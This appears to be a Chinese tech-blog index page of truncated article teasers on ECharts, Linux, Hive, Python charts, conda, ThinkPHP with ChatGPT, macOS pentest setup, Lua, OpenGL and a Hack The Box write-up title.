    数据过多 且几个比较小的数据在一块扎堆 series name type pie center 25 50 radius 45 60 minAngle 10 设置每块扇形的最小占比 avoidLabelOverlap false hover
  • linux一次性创建多个文件/文件夹

    1 创建多个文件 touch file 1 10 注 创建10个文件 文件名file0 file1 file10 2 创建多个目录 mkdir folder 1 10 注 一次性创建10个文件夹 目录名为folder1 folder2 fo
  • 【Hive报错】Hive报错Expression Not In Group By Key解决方法

    SQL例如以下会报错 select sum time as time roadCoding upstreamOrDownstream from historicalroaddata where 报以下roadcoding upstreamO
  • 10个实用的Python数据可视化图表总结

    可视化是一种方便的观察数据的方式 可以一目了然地了解数据块 我们经常使用柱状图 直方图 饼图 箱图 热图 散点图 线状图等 这些典型的图对于数据可视化是必不可少的 除了这些被广泛使用的图表外 还有许多很好的却很少被使用的可视化方法 这些图有
  • 各向异性(anisotropic)浅提

    文章目录 各向异性 anisotropic 定义 哪种物体具有各向异性反射 什么导致各向异性反射 总结 各向异性 anisotropic 定义 它指一种存在方向依赖性 这意味着在不同的方向不同的特性 相对于该属性各向同性 当沿不同轴测量时
  • [Anaconda]——Linux下conda虚拟环境缺“msvcrt”

    问题 这里是在使用不同节点的系统时 一个是普通的节点 一个是GPU节点 在普通节点下准备好了所有的环境 使用Linux的NIS功能 利用网络把硬盘挂载到不同的节点 这个时候普通节点和GPU节点就做到了数据同步 但是发现在使用conda虚拟环
  • ThinkPHP6 框架 对接 ChatGPT应用

    ThinkPHP6是一款优秀的PHP开发框架 它提供了丰富的功能和易于使用的API 使得开发人员可以快速构建高质量的Web应用程序 本文将介绍如何使用ThinkPHP6框架对接ChatGPT应用 实现智能聊天机器人的功能 首先 我们需要在T
  • 部署mac os渗透测试环境

    一 序言 每次重装系统后配置环境都是需要耗费大量时间 特此写一篇mac os部署渗透测试环境 二 过程 一 系统设置 1 常用设置 SSD 开启 TRIM 支持 sudo trimforce enable APP安装开启任何来源 sudo
  • Lua coroutine.create

    Lua coroutine creat 相当于在C 中使用lua newthread Equivalent of Lua coroutine create in C using lua newthread 问 题 I have a call
  • 基于Qt的OpenGL编程(3.x以上GLSL可编程管线版)---(二十)面剔除

    Vries的教程是我看过的最好的可编程管线OpenGL教程 没有之一 其原地址如下 https learnopengl cn github io 04 20Advanced 20OpenGL 04 20Face 20culling 关于面剔
  • # HTB-Tier2- Vaccine

    HTB Tier2 Vaccine Web Network Vulnerability Assessment Databases Injection Custom Applications Protocols Source Code Ana